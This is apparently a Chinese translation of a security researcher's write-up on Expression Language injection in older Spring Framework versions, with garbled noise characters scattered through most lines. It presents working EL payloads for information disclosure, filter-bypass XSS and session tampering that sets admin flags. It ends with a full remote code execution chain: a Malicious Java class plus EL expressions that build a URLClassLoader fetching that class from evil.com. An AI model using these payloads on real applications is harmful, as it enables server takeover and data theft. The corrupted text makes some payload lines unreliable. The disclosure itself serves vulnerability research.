Remote Code with
7 p$ H3 o ~5 o% s; [Expression Language Injection
9 @9 H5 L2 e6 o* pSpring Framework脆弱性—DanAmodio" P$ W9 C T1 R$ P: Q; D
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中% U6 y5 `) q3 A; E q5 x
可能会存在风险。
- f4 r. l3 C2 M+ D1 g. u在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
( k! I+ {- l! j& H6 V' lArshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
! [5 I8 J- | [$ {$ J; U* k以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持, {$ h/ y8 e* z1 b
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
- |* p+ e+ S" l4 U' g# }版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。, H ?& o: i. N4 v) S
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但) }1 o h8 Q6 G* ?" t8 R& Y
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
9 W1 ^, Z( Q8 M/ n本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
) c3 x6 K- i7 C; o" B+ \: P" g这些版本不支持禁用double EL resolution.' a8 v+ |& W% ^, [9 w
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
! X$ b" B% A% L! g6 b, ^3 J5 ^EL2.2容器上可能进行远程代码执行。
# c6 {; ?/ e4 g! ?这是一个原始信息泄露的攻击例子:2 ~5 P5 L5 C4 q- h4 K8 x) n
请求:
' W( y, D0 N0 H: [1 M; j) Sttp://vulnerable.com/foo?message=${applicationScope}8 r7 D7 |9 Y/ c$ v7 w1 g9 @1 \" X
到达以下内容页面:7 ?0 h. U% _$ j9 y9 Z+ I
结果将输出一些包含内部服务器信息calsspath 和本地工作目录
- A- _. ?6 d: q$ P% H你也可以做一些其他事情,如这样:
! s6 @/ O) D0 o3 l7 {( M4 G${9999+1}
; j3 N& v; n# { }7 u7 Z还可以访问session 对象和beans
+ `& u$ A+ F! F6 T${employee.lastName}
- B' K, M* n, A, w9 Q在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
& }" [$ O4 [( U: P/ Z6 M+ bEL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东: s+ \# L& }; m; |% f3 a
西,比如XSS.4 R' w8 p! G8 c( I9 g
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签( B2 N) N+ p1 h* ^' P8 x: n( n
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
* t& T- U, O5 i; K) G3 K呢?”9 p) Y' [. v8 p5 h# V
因此,我尝试巳缦拢�- B" w e8 N8 c- }+ ^
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
% j+ c0 J5 v) m9 H7 M7 ?P, p/ Y0 Y# s( s/ u% [& f# ]
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返$ y8 E6 Q! t- F
回的文本被插入进了spring:message 标签。$ N% x' c% Y, K
这里是一个最终绕过过滤的实例:
# d; B7 |, }( ~4 u! {http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1) /scriptQ! t& T8 ~5 \5 x. _) g* f# C' u
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为6 G# E1 S5 X( l3 r+ D
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?2 J2 g: E8 q, T- e' W2 a
经过一番研究,我学习到EL2.2 增加了方法调用。; O9 ~7 u$ _ E) R. d# B1 U6 i5 H; {
我写了一个快速测试应用程序代码并且检测一些功能 V3 p2 T3 Q$ y/ |4 _
${pageContext.request.getSession().setAttribute(“account”,”123456″)}
) D2 `+ n: z- \, z& z( p${pageContext.request.getSession().setAttribute(“admin”,true)}
2 P2 t7 U2 [' P2 K5 P9 M1 M' X9 I好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的1 B S) u, N/ Y; }2 `' {& ~ J- r2 G
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?% H4 Y# h: x' G4 F# c
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
F$ J/ z @0 F7 o9 ]! e! S“, 1234)}
9 p8 Q. D2 ^( w${“”.getClass().forName(“java.lang.Runtime”)}) A1 x M. R, A4 C( n( n
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不6 d1 c1 M( s9 b9 q/ c% y( y; I) T* _
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
4 ]5 f) f) ^0 u; s; z& H$ n/ Y% p数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有4 `5 |; _# \4 i5 ~$ _0 Q. Z7 }* H
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
( ]3 T, u& ^- i' Q R方法签名invoke(Object obj, Object„ args)( V/ W8 B/ s" l
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问9 T6 x5 z2 x5 D3 }/ d J2 d$ \
题,以让它可以工作起来。
; k6 u% V+ O: ~& |% V6 f漏洞利用:" {* \! x1 V* [) P
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我- g) @- F" }, d6 ~5 Z
希望你们中的一些JAVA奇才告诉我我是如此的可笑。4 U g2 Z" w- M2 l3 m2 Z
这里有一些我试过的失败的用例,为了试图让它工作的用例:
2 x9 n7 j# }8 F: F2 M 写文件到文件系统0 H3 x6 ^# K' h0 \: r5 i
试图载入org.springframework.expression.spel.standard.SpelExpressionParser.5 ?) v) u/ m0 {3 `- [. K
我认为这些可以很好的工作,但是我不能找到合适的类来载入。$ f' ?7 `0 k w4 {& U
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
( h$ F) Z; o' s; K4 O+ ^ pjavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:8 C3 S& p% t5 i, a
org.springframework.expression.spel.standard.SpelExpressionParser not found
( U1 i6 n+ U- i( d n, C- @% rby/ s5 m; z6 T9 y% [( `
org.glassfish.web.javax.servlet.jsp [194].
- V/ b; @. ^ Q& ~ L. X; B7 D 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
/ L6 J1 q, H) T3 _1 g9 f6 N 利用反射来创建一个新的Runtime(and watch the world burn)
/ ?( l& i3 J. u. p# L${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName+ C9 \; y& g& A' \$ T; l+ Q: E
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}- c2 B2 {* ^, I! Z$ ?- S* U1 }/ \
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}8 j8 _5 C/ _6 m1 l7 v% [* l' S
使用java.lang.ProcessBuilder4 d1 j+ o/ D; g) Q2 e$ ?
用表达式语言来评估表达式语言8 m# a0 [6 W- G, E e8 P
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义./ y( \! v8 O7 P0 M
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request+ K) N* w( L9 m, Z+ E3 x: ]
“,”".getClass(),null)}
' o3 M' r# j( ^" Q; F 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)# s+ u o1 B7 i( w9 Q' I7 ~0 k
我在使用一个空数组通过Method.invoke()时失败了很多次& O* U8 L/ V6 Z$ {
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo! [) ^2 Q8 F6 Y+ c
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A2 {/ t1 X. ~! Q* Y; t' p
rrayList”).newInstance().toArray())
8 y- C4 Y8 `# n2 [java.lang.IllegalArgumentException: wrong number of arguments
$ n6 X Q5 D) {1 |7 t4 s9 M最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可6 N3 v6 c8 x t B
以创建一个恶意class文件并且指向类装载器.6 ^8 Y3 l; Q$ S
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
" H( h+ z: s. U! i% u0 k F+ Gpublic class Malicious {: c' r( r1 s4 e8 F
public Malicious() {
S, x! y2 p0 y9 k( ctry {9 k/ B3 K( K4 Y
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac. y$ c1 ]% d2 V: k2 I( e5 w
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
. Y! o% }6 q- r4 b& k% }} catch (Exception e) {3 [ h: P+ L& l4 ?% _) I
}
# }0 Z1 u9 g) j}, p3 Q7 K1 n# R( M" ?
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回) D9 w Y1 E& }0 P" q' a8 d( _
话中,因此它可以被使用.* u# D2 f0 o5 n! |" E* _
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName0 D+ n3 t: M! H7 b5 ^
(“java.util.ArrayList”).newInstance())}
9 E J9 _$ \5 ~, d9 E( x) Z4 cURLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建2 z$ ] }' v+ A: S/ Z
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
5 _, \+ s0 f" W* i/ y1 VgetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
- a2 a% l; ^$ P; V/ ^8 \5 ~我们可以调用的create(string)方法,然后转换对一个URL对象。$ s0 m) v1 `8 Z8 G9 }2 F
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh8 s/ f/ _* s2 r
ere/malicious/classfile/is/located/”).toURL())}
0 M, L4 X+ h' D# c然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,# n' R2 l' P6 ~2 o2 V! u. O
恶意类文件被装载并创建,触发远程代码.
1 J5 {4 y- l! R# o${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
7 ~3 }: c9 ?6 q1 M `xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
* |: _0 F$ k/ r# ]getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance; h( ?9 D" r, u# z G
()} |